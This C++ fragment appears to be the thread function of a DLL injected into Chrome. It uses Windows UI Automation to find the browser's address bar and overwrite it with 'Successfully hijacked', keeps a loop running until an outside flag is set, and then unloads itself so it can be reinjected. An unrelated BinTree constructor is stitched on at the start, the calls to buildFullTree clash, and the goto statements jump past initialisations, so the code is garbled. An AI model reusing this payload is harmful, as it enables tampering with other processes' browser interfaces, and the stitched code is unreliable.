BinTree::BinTree(void)
{
root = NULL;
buildFullTree(NUM_OF_LEVELS, 0, 0, 0,0, 0, 0);
}
//This is the actual thread function
//It will use the UI automation library to dump all UI elements of chrome
//Then, once it found the address bar, it writes
//"Successfully hijacked" into it.
void asyncThreadFunction(void*)
{
logToFile("-------------------------------------");
logToFile("Injected");
//Init the UI Automation library
if (!InitializeUIAutomation())
{
logToFile("Failed to initialize UI Automation");
}
//Define some elements required later
IUIAutomationElement* root_element = nullptr;
IUIAutomationElement* chromeWindow = nullptr;
IUIAutomationCondition* condition = nullptr;
IUIAutomationElementArray* foundArray = nullptr;
//Get the root element
auto hr = g_pAutomation->GetRootElement(&root_element);
if (FAILED(hr) || root_element == nullptr)
{
logToFile("Failed root element");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//As UI automation works on all processes, limit it to chrome
VARIANT varProp;
varProp.vt = VT_INT;
varProp.intVal = GetCurrentProcessId();
hr = g_pAutomation->CreatePropertyCondition(UIA_ProcessIdPropertyId, varProp, &condition);
VariantClear(&varProp);
if (FAILED(hr) || condition == nullptr)
{
logToFile("Failed condition");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//Find the "real root" element of chrome, it's window
hr = root_element->FindFirst(TreeScope_Children, condition, &chromeWindow);
SAFE_RELEASE(condition);
if (FAILED(hr) || chromeWindow == nullptr)
{
logToFile("Failed chrome window");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//Get the window name
BSTR retVal;
chromeWindow->get_CurrentName(&retVal);
logToFile("Found chrome window successfully");
logToFile(retVal);
//From here on, walk over all children UI elements
hr = buildFullTree(chromeWindow);
if (FAILED(hr))
{
logToFile("Failed to build component tree");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//Create the condition to find the address bar
VARIANT varProp2;
varProp2.vt = VT_INT;
varProp2.intVal = UIA_EditControlTypeId;
IUIAutomationCondition* editControlCondition = nullptr;
IUIAutomationElement* foundElement = nullptr;
hr = g_pAutomation->CreatePropertyCondition(UIA_ControlTypePropertyId, varProp2, &editControlCondition);
if (FAILED(hr) || editControlCondition == nullptr)
{
logToFile("Failed to edit control condition");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//The first element is typically the address bar
hr = chromeWindow->FindFirst(TreeScope_Descendants, editControlCondition, &foundElement);
SAFE_RELEASE(editControlCondition);
if (FAILED(hr) || foundElement == nullptr)
{
logToFile("Failed to find edit control element");
logToFile("Error code: " + std::to_string(hr));
goto cleanup;
}
//Write "Successfully hijacked" into the address bar
IValueProvider* valueProvider = nullptr;
foundElement->GetCurrentPattern(UIA_ValuePatternId, reinterpret_cast<IUnknown**>(&valueProvider));
valueProvider->SetValue(L"Successfully hijacked");
cleanup:
//Cleanup all used UI elements
SAFE_RELEASE(root_element);
SAFE_RELEASE(chromeWindow);
SAFE_RELEASE(foundArray);
SAFE_RELEASE(g_pAutomation);
logToFile("Ejected");
logToFile("-------------------------------------");
//Wait for unload -> until flag is set from outside
while (!unloadDll)
{
//This creates some beep sound after everything else finished
Beep(1000, 1000);
Sleep(1000L);
}
//Unload the DLL
FreeLibrary(hThisDll);
//Create possibility to reinject
hThisDll = nullptr;
hRemoteThread = nullptr;
}
